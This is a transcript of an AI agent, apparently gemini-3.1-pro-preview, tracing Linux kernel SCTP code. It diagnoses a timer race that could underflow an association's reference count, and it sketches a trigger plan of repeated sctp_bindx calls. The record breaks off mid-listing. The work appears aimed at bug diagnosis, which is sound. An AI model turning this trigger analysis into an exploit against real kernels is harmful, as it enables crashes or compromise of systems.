Right, the first thing I'm going to do is dive into `sctp_generate_t4_rto_event`. I need to understand its purpose and how it operates within the SCTP stack. My goal here is to get a solid grasp of what triggers this event, what data it processes, and what actions it initiates. I'm looking for the core logic, the conditions under which it's called, and the immediate consequences of its execution. Essentially, I want to map out its role in the overall SCTP retransmission timeout (RTO) mechanism.

map[ContextFile:net/sctp/sm_sideeffect.c Name:sctp_generate_t4_rto_event]

map[SourceCode: 335:	static void sctp_generate_t4_rto_event(struct timer_list *t)
 336:	{
 337:		struct sctp_association *asoc =
 338:			timer_container_of(asoc, t, timers[SCTP_EVENT_TIMEOUT_T4_RTO]);
 339:	
 340:		sctp_generate_timeout_event(asoc, SCTP_EVENT_TIMEOUT_T4_RTO);
 341:	}
 SourceFile:net/sctp/sm_sideeffect.c]

gemini-3.1-pro-preview

							input: 13134
							output: 41
							thoughts: 1141
						

**Understanding the SCTP Timer Race Condition**

My current line of thinking is focused on understanding a specific race condition within the SCTP implementation, particularly concerning timer management. It all starts with the `sctp_generate_t4_rto_event` function, which I've identified as the timer callback. This function, in turn, calls `sctp_generate_timeout_event`.

When I examine `sctp_generate_timeout_event`, I see a critical piece of logic:

```c
	bh_lock_sock(sk);
	if (sock_owned_by_user(sk)) {
		/* Try again later.  */
		if (!mod_timer(&asoc->timers[timeout_type], jiffies + (HZ/20)))
			sctp_association_hold(asoc);
		goto out_unlock;
	}
    // ...
out_unlock:
	bh_unlock_sock(sk);
	sctp_association_put(asoc);
```

My initial interpretation of this code, when `sock_owned_by_user(sk)` is true, is that the timer is rescheduled using `mod_timer`. If `mod_timer` returns `0` (meaning the timer wasn't pending), it calls `sctp_association_hold(asoc)` to increment the association's reference count. After this, it proceeds to `out_unlock` and calls `sctp_association_put(asoc)`, decrementing the reference count.

However, upon deeper reflection, I realize something crucial: if the timer is rescheduled with `mod_timer`, it does *not* add the event to the backlog. It simply reschedules the timer and drops the *current* reference. This implies that the timer's softirq handler will *always* drop a reference, whether it successfully processes the timeout or reschedules it.

The key insight here is that if the timer is rescheduled (because `mod_timer` returned `0`), it acquires a *new* reference for the rescheduled timer. But what if `mod_timer` returns `1`? This indicates the timer was already pending. How could that be possible if we're already inside the timer callback?

This leads me to consider concurrent execution. It's possible that another part of the system, perhaps `sctp_cmd_interpreter`, might have concurrently called `timer_reduce` or `mod_timer` on the same timer. If `mod_timer` returns `1` in this scenario, it means another entity has already enqueued the timer. In this case, *we* don't need to acquire a new reference for the rescheduled timer; we simply drop our current reference.

Now, let's trace a potential race condition to solidify this understanding. Imagine two CPUs:

**CPU 0 (in process context, e.g., executing `sctp_bindx`)**:
This CPU is processing `SCTP_CMD_TIMER_START` via `sctp_cmd_interpreter`. The relevant code snippet looks like this:

```c
		case SCTP_CMD_TIMER_START:
			timer = &asoc->timers[cmd->obj.to];
			timeout = asoc->timeouts[cmd->obj.to];
			BUG_ON(!timeout);

			if (!timer_pending(timer))
				sctp_association_hold(asoc);
			timer_reduce(timer, jiffies + timeout);
			break;
```

**CPU 1 (in timer softirq context)**:
This CPU is executing `sctp_generate_t4_rto_event`. The timer is dequeued *before* the callback function actually begins its execution.

Here's how the race unfolds:

1.  **The Critical Window**: If CPU 0's call to `timer_pending(timer)` returns `true` *before* CPU 1 dequeues the timer, CPU 0 will skip the `sctp_association_hold(asoc)` call.
2.  **Timer Dequeue**: CPU 1 then dequeues the timer.
3.  **`timer_reduce` Execution**: CPU 0 proceeds to call `timer_reduce`. Since the timer is no longer pending (CPU 1 just dequeued it), `timer_reduce` will enqueue it, effectively re-arming the timer.
4.  **Callback Execution**: CPU 1 now enters the timer callback (`sctp_generate_t4_rto_event`). It acquires the `bh_lock_sock`.
5.  **`sock_owned_by_user(sk)` Check**: Since CPU 0 is within `sctp_cmd_interpreter`, it's likely holding `lock_sock(sk)`. Therefore, CPU 1 sees `sock_owned_by_user(sk) == true`.
6.  **`mod_timer` Call**: CPU 1 calls `mod_timer(..., jiffies + HZ/20)`. Crucially, because CPU 0 just re-enqueued the timer via `timer_reduce`, `mod_timer` will return `1` (indicating the timer was indeed pending).
7.  **Skipping `sctp_association_hold`**: Since `mod_timer` returned `1`, CPU 1 skips calling `sctp_association_hold(asoc)`.
8.  **Reference Count Underflow**: CPU 1 then proceeds to `out_unlock` and calls `sctp_association_put(asoc)`.

The outcome is that the timer has been enqueued (first by CPU 0, then potentially modified by CPU 1), but *no new reference was taken* for this re-enqueued timer. When the timer fires again, it will execute `sctp_association_put(asoc)` once more, leading to a reference count underflow.

This precisely explains the bug I've been investigating.

To trigger this race, I need to orchestrate the following:

*   The `sctp_cmd_interpreter` must process `SCTP_CMD_TIMER_START` at the exact moment the timer is about to expire.
*   The process must hold `lock_sock(sk)` so that the timer callback correctly identifies `sock_owned_by_user(sk) == true`. This is naturally satisfied because `sctp_cmd_interpreter` is typically invoked from a process context that holds the socket lock.
*   The timer must expire precisely within the window between the `timer_pending` check and the `timer_reduce` call.

The challenge now is how to precisely hit that very small time window. My current thought is that repeatedly invoking `sctp_bindx` might provide a way to repeatedly start the timer, increasing the probability of hitting this specific race. I need to confirm whether `sctp_bindx` indeed calls `sctp_cmd_interpreter`.

map[ContextFile:net/sctp/socket.c Name:sctp_bindx_add]

map[SourceCode: 494:	/* Add a list of addresses as bind addresses to local endpoint or
 495:	 * association.
 496:	 *
 497:	 * Basically run through each address specified in the addrs/addrcnt
 498:	 * array/length pair, determine if it is IPv6 or IPv4 and call
 499:	 * sctp_do_bind() on it.
 500:	 *
 501:	 * If any of them fails, then the operation will be reversed and the
 502:	 * ones that were added will be removed.
 503:	 *
 504:	 * Only sctp_setsockopt_bindx() is supposed to call this function.
 505:	 */
 506:	static int sctp_bindx_add(struct sock *sk, struct sockaddr *addrs, int addrcnt)
 507:	{
 508:		int cnt;
 509:		int retval = 0;
 510:		void *addr_buf;
 511:		struct sockaddr *sa_addr;
 512:		struct sctp_af *af;
 513:	
 514:		pr_debug("%s: sk:%p, addrs:%p, addrcnt:%d\n", __func__, sk,
 515:			 addrs, addrcnt);
 516:	
 517:		addr_buf = addrs;
 518:		for (cnt = 0; cnt < addrcnt; cnt++) {
 519:			/* The list may contain either IPv4 or IPv6 address;
 520:			 * determine the address length for walking thru the list.
 521:			 */
 522:			sa_addr = addr_buf;
 523:			af = sctp_get_af_specific(sa_addr->sa_family);
 524:			if (!af) {
 525:				retval = -EINVAL;
 526:				goto err_bindx_add;
 527:			}
 528:	
 529:			retval = sctp_do_bind(sk, (union sctp_addr *)sa_addr,
 530:					      af->sockaddr_len);
 531:	
 532:			addr_buf += af->sockaddr_len;
 533:	
 534:	err_bindx_add:
 535:			if (retval < 0) {
 536:				/* Failed. Cleanup the ones that have been added */
 537:				if (cnt > 0)
 538:					sctp_bindx_rem(sk, addrs, cnt);
 539:				return retval;
 540:			}
 541:		}
 542:	
 543:		return retval;
 544:	}
 SourceFile:net/sctp/socket.c]

gemini-3.1-pro-preview

							input: 15084
							output: 43
							thoughts: 45
						

**A Deep Dive into SCTP Bind Operations and ASCONF Signaling**

My current line of inquiry revolves around the intricate mechanisms of SCTP socket binding, specifically how the `sctp_bindx_add` function orchestrates the process. My initial hypothesis, and the core of my investigation, is whether this function inherently triggers the sending of an ASCONF (Association Configuration) message. This is a crucial point, as ASCONF signaling is fundamental to SCTP's ability to dynamically manage association parameters, including the addition of new IP addresses.

To rigorously test this hypothesis, I'm meticulously examining the call stack originating from `sctp_bindx_add`. My specific focus is on its interaction with `sctp_do_bind`. I need to ascertain if, upon its invocation, `sctp_do_bind` proceeds to initiate the ASCONF handshake. My strategy involves tracing the execution flow within `sctp_do_bind` to identify any code paths that lead to the transmission of ASCONF messages.

Concurrently, I am scrutinizing the behavior of `sctp_setsockopt_bindx`. This function serves as the user-space interface for the `sctp_bindx_add` operation, and understanding its internal workings is equally important. By analyzing `sctp_setsockopt_bindx`, I aim to confirm whether it correctly translates the user's intent to add an address into the underlying kernel operations that, in turn, might trigger the ASCONF signaling. Ultimately, my goal is to build a comprehensive understanding of the precise sequence of events that occur when `sctp_bindx_add` is invoked, with a particular emphasis on the conditions under which ASCONF messages are generated and transmitted. This detailed analysis will allow me to definitively confirm or refute my initial hypothesis regarding the automatic ASCONF signaling.

map[ContextFile:net/sctp/socket.c Name:sctp_setsockopt_bindx]

map[SourceCode: 931:	/* Helper for tunneling sctp_bindx() requests through sctp_setsockopt()
 932:	 *
 933:	 * API 8.1
 934:	 * int sctp_bindx(int sd, struct sockaddr *addrs, int addrcnt,
 935:	 *                int flags);
 936:	 *
 937:	 * If sd is an IPv4 socket, the addresses passed must be IPv4 addresses.
 938:	 * If the sd is an IPv6 socket, the addresses passed can either be IPv4
 939:	 * or IPv6 addresses.
 940:	 *
 941:	 * A single address may be specified as INADDR_ANY or IN6ADDR_ANY, see
 942:	 * Section 3.1.2 for this usage.
 943:	 *
 944:	 * addrs is a pointer to an array of one or more socket addresses. Each
 945:	 * address is contained in its appropriate structure (i.e. struct
 946:	 * sockaddr_in or struct sockaddr_in6) the family of the address type
 947:	 * must be used to distinguish the address length (note that this
 948:	 * representation is termed a "packed array" of addresses). The caller
 949:	 * specifies the number of addresses in the array with addrcnt.
 950:	 *
 951:	 * On success, sctp_bindx() returns 0. On failure, sctp_bindx() returns
 952:	 * -1, and sets errno to the appropriate error code.
 953:	 *
 954:	 * For SCTP, the port given in each socket address must be the same, or
 955:	 * sctp_bindx() will fail, setting errno to EINVAL.
 956:	 *
 957:	 * The flags parameter is formed from the bitwise OR of zero or more of
 958:	 * the following currently defined flags:
 959:	 *
 960:	 * SCTP_BINDX_ADD_ADDR
 961:	 *
 962:	 * SCTP_BINDX_REM_ADDR
 963:	 *
 964:	 * SCTP_BINDX_ADD_ADDR directs SCTP to add the given addresses to the
 965:	 * association, and SCTP_BINDX_REM_ADDR directs SCTP to remove the given
 966:	 * addresses from the association. The two flags are mutually exclusive;
 967:	 * if both are given, sctp_bindx() will fail with EINVAL. A caller may
 968:	 * not remove all addresses from an association; sctp_bindx() will
 969:	 * reject such an attempt with EINVAL.
 970:	 *
 971:	 * An application can use sctp_bindx(SCTP_BINDX_ADD_ADDR) to associate
 972:	 * additional addresses with an endpoint after calling bind().  Or use
 973:	 * sctp_bindx(SCTP_BINDX_REM_ADDR) to remove some addresses a listening
 974:	 * socket is associated with so that no new association accepted will be
 975:	 * associated with those addresses. If the endpoint supports dynamic
 976:	 * address a SCTP_BINDX_REM_ADDR or SCTP_BINDX_ADD_ADDR may cause a
 977:	 * endpoint to send the appropriate message to the peer to change the
 978:	 * peers address lists.
 979:	 *
 980:	 * Adding and removing addresses from a connected association is
 981:	 * optional functionality. Implementations that do not support this
 982:	 * functionality should return EOPNOTSUPP.
 983:	 *
 984:	 * Basically do nothing but copying the addresses from user to kernel
 985:	 * land and invoking either sctp_bindx_add() or sctp_bindx_rem() on the sk.
 986:	 * This is used for tunneling the sctp_bindx() request through sctp_setsockopt()
 987:	 * from userspace.
 988:	 *
 989:	 * On exit there is no need to do sockfd_put(), sys_setsockopt() does
 990:	 * it.
 991:	 *
 992:	 * sk        The sk of the socket
 993:	 * addrs     The pointer to the addresses
 994:	 * addrssize Size of the addrs buffer
 995:	 * op        Operation to perform (add or remove, see the flags of
 996:	 *           sctp_bindx)
 997:	 *
 998:	 * Returns 0 if ok, <0 errno code on error.
 999:	 */
1000:	static int sctp_setsockopt_bindx(struct sock *sk, struct sockaddr *addrs,
1001:					 int addrs_size, int op)
1002:	{
1003:		int err;
1004:		int addrcnt = 0;
1005:		int walk_size = 0;
1006:		struct sockaddr *sa_addr;
1007:		void *addr_buf = addrs;
1008:		struct sctp_af *af;
1009:	
1010:		pr_debug("%s: sk:%p addrs:%p addrs_size:%d opt:%d\n",
1011:			 __func__, sk, addr_buf, addrs_size, op);
1012:	
1013:		if (unlikely(addrs_size <= 0))
1014:			return -EINVAL;
1015:	
1016:		/* Walk through the addrs buffer and count the number of addresses. */
1017:		while (walk_size < addrs_size) {
1018:			if (walk_size + sizeof(sa_family_t) > addrs_size)
1019:				return -EINVAL;
1020:	
1021:			sa_addr = addr_buf;
1022:			af = sctp_get_af_specific(sa_addr->sa_family);
1023:	
1024:			/* If the address family is not supported or if this address
1025:			 * causes the address buffer to overflow return EINVAL.
1026:			 */
1027:			if (!af || (walk_size + af->sockaddr_len) > addrs_size)
1028:				return -EINVAL;
1029:			addrcnt++;
1030:			addr_buf += af->sockaddr_len;
1031:			walk_size += af->sockaddr_len;
1032:		}
1033:	
1034:		/* Do the work. */
1035:		switch (op) {
1036:		case SCTP_BINDX_ADD_ADDR:
1037:			/* Allow security module to validate bindx addresses. */
1038:			err = security_sctp_bind_connect(sk, SCTP_SOCKOPT_BINDX_ADD,
1039:							 addrs, addrs_size);
1040:			if (err)
1041:				return err;
1042:			err = sctp_bindx_add(sk, addrs, addrcnt);
1043:			if (err)
1044:				return err;
1045:			return sctp_send_asconf_add_ip(sk, addrs, addrcnt);
1046:		case SCTP_BINDX_REM_ADDR:
1047:			err = sctp_bindx_rem(sk, addrs, addrcnt);
1048:			if (err)
1049:				return err;
1050:			return sctp_send_asconf_del_ip(sk, addrs, addrcnt);
1051:	
1052:		default:
1053:			return -EINVAL;
1054:		}
1055:	}
 SourceFile:net/sctp/socket.c]

gemini-3.1-pro-preview

							input: 17318
							output: 45
							thoughts: 53
						

**My Thought Process Regarding SCTP ASCONF Operations**

Ah, so I've noticed the calls to `sctp_send_asconf_add_ip` and `sctp_send_asconf_del_ip`. This is a clear indication that the system is actively managing the association's IP addresses, likely in response to dynamic network changes or explicit configuration requests. My immediate inclination is to delve into the `sctp_send_asconf_add_ip` function to understand the mechanics of how a new IP address is being incorporated. This will involve examining how the ASCONF (Address Confirmation) chunk is constructed, what parameters are being set, and how the SCTP stack prepares to send this information to the peer. I'll be looking for details on the address type, the specific IP address being added, and any associated flags or options that might be present. Understanding this process is crucial for ensuring the reliability and robustness of SCTP communication in dynamic environments.

map[ContextFile:net/sctp/socket.c Name:sctp_send_asconf_add_ip]

map[SourceCode: 546:	/* Send an ASCONF chunk with Add IP address parameters to all the peers of the
 547:	 * associations that are part of the endpoint indicating that a list of local
 548:	 * addresses are added to the endpoint.
 549:	 *
 550:	 * If any of the addresses is already in the bind address list of the
 551:	 * association, we do not send the chunk for that association.  But it will not
 552:	 * affect other associations.
 553:	 *
 554:	 * Only sctp_setsockopt_bindx() is supposed to call this function.
 555:	 */
 556:	static int sctp_send_asconf_add_ip(struct sock		*sk,
 557:					   struct sockaddr	*addrs,
 558:					   int 			addrcnt)
 559:	{
 560:		struct sctp_sock		*sp;
 561:		struct sctp_endpoint		*ep;
 562:		struct sctp_association		*asoc;
 563:		struct sctp_bind_addr		*bp;
 564:		struct sctp_chunk		*chunk;
 565:		struct sctp_sockaddr_entry	*laddr;
 566:		union sctp_addr			*addr;
 567:		union sctp_addr			saveaddr;
 568:		void				*addr_buf;
 569:		struct sctp_af			*af;
 570:		struct list_head		*p;
 571:		int 				i;
 572:		int 				retval = 0;
 573:	
 574:		sp = sctp_sk(sk);
 575:		ep = sp->ep;
 576:	
 577:		if (!ep->asconf_enable)
 578:			return retval;
 579:	
 580:		pr_debug("%s: sk:%p, addrs:%p, addrcnt:%d\n",
 581:			 __func__, sk, addrs, addrcnt);
 582:	
 583:		list_for_each_entry(asoc, &ep->asocs, asocs) {
 584:			if (!asoc->peer.asconf_capable)
 585:				continue;
 586:	
 587:			if (asoc->peer.addip_disabled_mask & SCTP_PARAM_ADD_IP)
 588:				continue;
 589:	
 590:			if (!sctp_state(asoc, ESTABLISHED))
 591:				continue;
 592:	
 593:			/* Check if any address in the packed array of addresses is
 594:			 * in the bind address list of the association. If so,
 595:			 * do not send the asconf chunk to its peer, but continue with
 596:			 * other associations.
 597:			 */
 598:			addr_buf = addrs;
 599:			for (i = 0; i < addrcnt; i++) {
 600:				addr = addr_buf;
 601:				af = sctp_get_af_specific(addr->v4.sin_family);
 602:				if (!af) {
 603:					retval = -EINVAL;
 604:					goto out;
 605:				}
 606:	
 607:				if (sctp_assoc_lookup_laddr(asoc, addr))
 608:					break;
 609:	
 610:				addr_buf += af->sockaddr_len;
 611:			}
 612:			if (i < addrcnt)
 613:				continue;
 614:	
 615:			/* Use the first valid address in bind addr list of
 616:			 * association as Address Parameter of ASCONF CHUNK.
 617:			 */
 618:			bp = &asoc->base.bind_addr;
 619:			p = bp->address_list.next;
 620:			laddr = list_entry(p, struct sctp_sockaddr_entry, list);
 621:			chunk = sctp_make_asconf_update_ip(asoc, &laddr->a, addrs,
 622:							   addrcnt, SCTP_PARAM_ADD_IP);
 623:			if (!chunk) {
 624:				retval = -ENOMEM;
 625:				goto out;
 626:			}
 627:	
 628:			/* Add the new addresses to the bind address list with
 629:			 * use_as_src set to 0.
 630:			 */
 631:			addr_buf = addrs;
 632:			for (i = 0; i < addrcnt; i++) {
 633:				addr = addr_buf;
 634:				af = sctp_get_af_specific(addr->v4.sin_family);
 635:				memcpy(&saveaddr, addr, af->sockaddr_len);
 636:				retval = sctp_add_bind_addr(bp, &saveaddr,
 637:							    sizeof(saveaddr),
 638:							    SCTP_ADDR_NEW, GFP_ATOMIC);
 639:				addr_buf += af->sockaddr_len;
 640:			}
 641:			if (asoc->src_out_of_asoc_ok) {
 642:				struct sctp_transport *trans;
 643:	
 644:				list_for_each_entry(trans,
 645:				    &asoc->peer.transport_addr_list, transports) {
 646:					trans->cwnd = min(4*asoc->pathmtu, max_t(__u32,
 647:					    2*asoc->pathmtu, 4380));
 648:					trans->ssthresh = asoc->peer.i.a_rwnd;
 649:					trans->rto = asoc->rto_initial;
 650:					sctp_max_rto(asoc, trans);
 651:					trans->rtt = trans->srtt = trans->rttvar = 0;
 652:					/* Clear the source and route cache */
 653:					sctp_transport_route(trans, NULL,
 654:							     sctp_sk(asoc->base.sk));
 655:				}
 656:			}
 657:			retval = sctp_send_asconf(asoc, chunk);
 658:		}
 659:	
 660:	out:
 661:		return retval;
 662:	}
 SourceFile:net/sctp/socket.c]

gemini-3.1-pro-preview

							input: 19275
							output: 41
							thoughts: 28
						

**My Thought Process on `sctp_send_asconf`**

Ah, it seems `sctp_send_asconf` has just been invoked. My immediate inclination is to delve into the specifics of this function. I need to understand precisely what transpires within `sctp_send_asconf`. What are its responsibilities? What parameters does it take, and what data structures does it manipulate? Ultimately, my goal is to gain a comprehensive grasp of its operational logic and its role within the broader SCTP sending mechanism.

map[ContextFile:net/sctp/socket.c Name:sctp_send_asconf]

map[SourceCode: 459:	 /* ADDIP Section 4.1.1 Congestion Control of ASCONF Chunks
 460:	 *
 461:	 * R1) One and only one ASCONF Chunk MAY be in transit and unacknowledged
 462:	 * at any one time.  If a sender, after sending an ASCONF chunk, decides
 463:	 * it needs to transfer another ASCONF Chunk, it MUST wait until the
 464:	 * ASCONF-ACK Chunk returns from the previous ASCONF Chunk before sending a
 465:	 * subsequent ASCONF. Note this restriction binds each side, so at any
 466:	 * time two ASCONF may be in-transit on any given association (one sent
 467:	 * from each endpoint).
 468:	 */
 469:	static int sctp_send_asconf(struct sctp_association *asoc,
 470:				    struct sctp_chunk *chunk)
 471:	{
 472:		int retval = 0;
 473:	
 474:		/* If there is an outstanding ASCONF chunk, queue it for later
 475:		 * transmission.
 476:		 */
 477:		if (asoc->addip_last_asconf) {
 478:			list_add_tail(&chunk->list, &asoc->addip_chunk_list);
 479:			goto out;
 480:		}
 481:	
 482:		/* Hold the chunk until an ASCONF_ACK is received. */
 483:		sctp_chunk_hold(chunk);
 484:		retval = sctp_primitive_ASCONF(asoc->base.net, asoc, chunk);
 485:		if (retval)
 486:			sctp_chunk_free(chunk);
 487:		else
 488:			asoc->addip_last_asconf = chunk;
 489:	
 490:	out:
 491:		return retval;
 492:	}
 SourceFile:net/sctp/socket.c]

gemini-3.1-pro-preview

							input: 19896
							output: 49
							thoughts: 219
						

**My Thought Process Regarding ASCONF and `sctp_bindx` Spamming**

My initial thought was that whenever `sctp_primitive_ASCONF` is invoked, it immediately triggers the `T4_RTO` timer. However, a crucial detail emerged: this function *only* sends an ASCONF chunk and starts the timer if there isn't already an outstanding ASCONF chunk being processed. If `asoc->addip_last_asconf` is already set, meaning an ASCONF is pending, the new request is simply queued.

This leads me to understand that if I were to repeatedly call `sctp_bindx`, only the very first call would result in an ASCONF chunk being sent and its associated `T4_RTO` timer being initiated. All subsequent `sctp_bindx` calls would just queue up their ASCONF requests.

The next logical question that arose in my mind was about what happens when that `T4_RTO` timer eventually expires. My understanding is that upon expiration, it's responsible for retransmitting the ASCONF chunk. And this retransmission, I then wondered, would it also involve starting the `T4_RTO` timer again? To confirm this, I'd need to dive into the implementation of `sctp_sf_t4_timer_expire`.

map[ContextFile:net/sctp/sm_statefuns.c Name:sctp_sf_t4_timer_expire]

map[SourceCode:6138:	/*
6139:	 * ADDIP Section 4.1 ASCONF Chunk Procedures
6140:	 * If the T4 RTO timer expires the endpoint should do B1 to B5
6141:	 */
6142:	enum sctp_disposition sctp_sf_t4_timer_expire(
6143:						struct net *net,
6144:						const struct sctp_endpoint *ep,
6145:						const struct sctp_association *asoc,
6146:						const union sctp_subtype type,
6147:						void *arg,
6148:						struct sctp_cmd_seq *commands)
6149:	{
6150:		struct sctp_chunk *chunk = asoc->addip_last_asconf;
6151:		struct sctp_transport *transport;
6152:	
6153:		if (!chunk)
6154:			return SCTP_DISPOSITION_CONSUME;
6155:	
6156:		transport = chunk->transport;
6157:		SCTP_INC_STATS(net, SCTP_MIB_T4_RTO_EXPIREDS);
6158:	
6159:		/* ADDIP 4.1 B1) Increment the error counters and perform path failure
6160:		 * detection on the appropriate destination address as defined in
6161:		 * RFC2960 [5] section 8.1 and 8.2.
6162:		 */
6163:		if (transport)
6164:			sctp_add_cmd_sf(commands, SCTP_CMD_STRIKE,
6165:					SCTP_TRANSPORT(transport));
6166:	
6167:		/* Reconfig T4 timer and transport. */
6168:		sctp_add_cmd_sf(commands, SCTP_CMD_SETUP_T4, SCTP_CHUNK(chunk));
6169:	
6170:		/* ADDIP 4.1 B2) Increment the association error counters and perform
6171:		 * endpoint failure detection on the association as defined in
6172:		 * RFC2960 [5] section 8.1 and 8.2.
6173:		 * association error counter is incremented in SCTP_CMD_STRIKE.
6174:		 */
6175:		if (asoc->overall_error_count >= asoc->max_retrans) {
6176:			sctp_add_cmd_sf(commands, SCTP_CMD_TIMER_STOP,
6177:					SCTP_TO(SCTP_EVENT_TIMEOUT_T4_RTO));
6178:			sctp_add_cmd_sf(commands, SCTP_CMD_SET_SK_ERR,
6179:					SCTP_ERROR(ETIMEDOUT));
6180:			sctp_add_cmd_sf(commands, SCTP_CMD_ASSOC_FAILED,
6181:					SCTP_PERR(SCTP_ERROR_NO_ERROR));
6182:			SCTP_INC_STATS(net, SCTP_MIB_ABORTEDS);
6183:			SCTP_DEC_STATS(net, SCTP_MIB_CURRESTAB);
6184:			return SCTP_DISPOSITION_ABORT;
6185:		}
6186:	
6187:		/* ADDIP 4.1 B3) Back-off the destination address RTO value to which
6188:		 * the ASCONF chunk was sent by doubling the RTO timer value.
6189:		 * This is done in SCTP_CMD_STRIKE.
6190:		 */
6191:	
6192:		/* ADDIP 4.1 B4) Re-transmit the ASCONF Chunk last sent and if possible
6193:		 * choose an alternate destination address (please refer to RFC2960
6194:		 * [5] section 6.4.1). An endpoint MUST NOT add new parameters to this
6195:		 * chunk, it MUST be the same (including its serial number) as the last
6196:		 * ASCONF sent.
6197:		 */
6198:		sctp_chunk_hold(asoc->addip_last_asconf);
6199:		sctp_add_cmd_sf(commands, SCTP_CMD_REPLY,
6200:				SCTP_CHUNK(asoc->addip_last_asconf));
6201:	
6202:		/* ADDIP 4.1 B5) Restart the T-4 RTO timer. Note that if a different
6203:		 * destination is selected, then the RTO used will be that of the new
6204:		 * destination address.
6205:		 */
6206:		sctp_add_cmd_sf(commands, SCTP_CMD_TIMER_RESTART,
6207:				SCTP_TO(SCTP_EVENT_TIMEOUT_T4_RTO));
6208:	
6209:		return SCTP_DISPOSITION_CONSUME;
6210:	}
 SourceFile:net/sctp/sm_statefuns.c]

gemini-3.1-pro-preview

							input: 21522
							output: 43
							thoughts: 62
						

**My Thought Process on Handling SCTP Timer Expirations and Restarts**

Okay, so the execution flow has brought me to `sctp_sf_t4_timer_expire`. This is the function responsible for handling the expiration of the T4 timer in the SCTP stack. My immediate thought is to figure out what needs to happen *after* T4 expires. The code here clearly indicates that the next step is to initiate a restart of the T4 timer itself, using the `SCTP_CMD_TIMER_RESTART` command. This makes sense; timers often need to be reset and restarted after their expiration to continue their monitoring function.

To understand the specifics of this restart, I need to dive into how `SCTP_CMD_TIMER_RESTART` actually works. My next logical step is to investigate the implementation of `sctp_cmd_interpreter`. This function is the central dispatcher for all SCTP commands, so it will contain the logic that translates the `SCTP_CMD_TIMER_RESTART` request into concrete actions. I need to see precisely how it handles the `T4_RTO` parameter being passed to it, and what state changes or subsequent operations occur as a result of this command being interpreted. This will likely involve examining how the T4 timer's associated retransmission timeout (RTO) value is managed and how the timer mechanism is re-engaged.

map[ContextFile:net/sctp/sm_sideeffect.c Name:sctp_cmd_interpreter]

map[SourceCode:1274:	/* This is the side-effect interpreter.  */
1275:	static int sctp_cmd_interpreter(enum sctp_event_type event_type,
1276:					union sctp_subtype subtype,
1277:					enum sctp_state state,
1278:					struct sctp_endpoint *ep,
1279:					struct sctp_association *asoc,
1280:					void *event_arg,
1281:					enum sctp_disposition status,
1282:					struct sctp_cmd_seq *commands,
1283:					gfp_t gfp)
1284:	{
1285:		struct sctp_sock *sp = sctp_sk(ep->base.sk);
1286:		struct sctp_chunk *chunk = NULL, *new_obj;
1287:		struct sctp_packet *packet;
1288:		struct sctp_sackhdr sackh;
1289:		struct timer_list *timer;
1290:		struct sctp_transport *t;
1291:		unsigned long timeout;
1292:		struct sctp_cmd *cmd;
1293:		int local_cork = 0;
1294:		int error = 0;
1295:		int force;
1296:	
1297:		if (SCTP_EVENT_T_TIMEOUT != event_type)
1298:			chunk = event_arg;
1299:	
1300:		/* Note:  This whole file is a huge candidate for rework.
1301:		 * For example, each command could either have its own handler, so
1302:		 * the loop would look like:
1303:		 *     while (cmds)
1304:		 *         cmd->handle(x, y, z)
1305:		 * --jgrimm
1306:		 */
1307:		while (NULL != (cmd = sctp_next_cmd(commands))) {
1308:			switch (cmd->verb) {
1309:			case SCTP_CMD_NOP:
1310:				/* Do nothing. */
1311:				break;
1312:	
1313:			case SCTP_CMD_NEW_ASOC:
1314:				/* Register a new association.  */
1315:				if (local_cork) {
1316:					sctp_outq_uncork(&asoc->outqueue, gfp);
1317:					local_cork = 0;
1318:				}
1319:	
1320:				/* Register with the endpoint.  */
1321:				asoc = cmd->obj.asoc;
1322:				BUG_ON(asoc->peer.primary_path == NULL);
1323:				sctp_endpoint_add_asoc(ep, asoc);
1324:				break;
1325:	
1326:			case SCTP_CMD_PURGE_OUTQUEUE:
1327:			       sctp_outq_teardown(&asoc->outqueue);
1328:			       break;
1329:	
1330:			case SCTP_CMD_DELETE_TCB:
1331:				if (local_cork) {
1332:					sctp_outq_uncork(&asoc->outqueue, gfp);
1333:					local_cork = 0;
1334:				}
1335:				/* No chunk left in this packet may use this asoc. */
1336:				if (event_type == SCTP_EVENT_T_CHUNK &&
1337:				    chunk->asoc == asoc)
1338:					chunk->pdiscard = 1;
1339:				/* Delete the current association.  */
1340:				sctp_cmd_delete_tcb(commands, asoc);
1341:				asoc = NULL;
1342:				break;
1343:	
1344:			case SCTP_CMD_NEW_STATE:
1345:				/* Enter a new state.  */
1346:				sctp_cmd_new_state(commands, asoc, cmd->obj.state);
1347:				break;
1348:	
1349:			case SCTP_CMD_REPORT_TSN:
1350:				/* Record the arrival of a TSN.  */
1351:				error = sctp_tsnmap_mark(&asoc->peer.tsn_map,
1352:							 cmd->obj.u32, NULL);
1353:				break;
1354:	
1355:			case SCTP_CMD_REPORT_FWDTSN:
1356:				asoc->stream.si->report_ftsn(&asoc->ulpq, cmd->obj.u32);
1357:				break;
1358:	
1359:			case SCTP_CMD_PROCESS_FWDTSN:
1360:				asoc->stream.si->handle_ftsn(&asoc->ulpq,
1361:							     cmd->obj.chunk);
1362:				break;
1363:	
1364:			case SCTP_CMD_GEN_SACK:
1365:				/* Generate a Selective ACK.
1366:				 * The argument tells us whether to just count
1367:				 * the packet and MAYBE generate a SACK, or
1368:				 * force a SACK out.
1369:				 */
1370:				force = cmd->obj.i32;
1371:				error = sctp_gen_sack(asoc, force, commands);
1372:				break;
1373:	
1374:			case SCTP_CMD_PROCESS_SACK:
1375:				/* Process an inbound SACK.  */
1376:				error = sctp_cmd_process_sack(commands, asoc,
1377:							      cmd->obj.chunk);
1378:				break;
1379:	
1380:			case SCTP_CMD_GEN_INIT_ACK:
1381:				/* Generate an INIT ACK chunk.  */
1382:				new_obj = sctp_make_init_ack(asoc, chunk, GFP_ATOMIC,
1383:							     0);
1384:				if (!new_obj) {
1385:					error = -ENOMEM;
1386:					break;
1387:				}
1388:	
1389:				sctp_add_cmd_sf(commands, SCTP_CMD_REPLY,
1390:						SCTP_CHUNK(new_obj));
1391:				break;
1392:	
1393:			case SCTP_CMD_PEER_INIT:
1394:				/* Process a unified INIT from the peer.
1395:				 * Note: Only used during INIT-ACK processing.  If
1396:				 * there is an error just return to the outter
1397:				 * layer which will bail.
1398:				 */
1399:				error = sctp_cmd_process_init(commands, asoc, chunk,
1400:							      cmd->obj.init, gfp);
1401:				break;
1402:	
1403:			case SCTP_CMD_GEN_COOKIE_ECHO:
1404:				/* Generate a COOKIE ECHO chunk.  */
1405:				new_obj = sctp_make_cookie_echo(asoc, chunk);
1406:				if (!new_obj) {
1407:					if (cmd->obj.chunk)
1408:						sctp_chunk_free(cmd->obj.chunk);
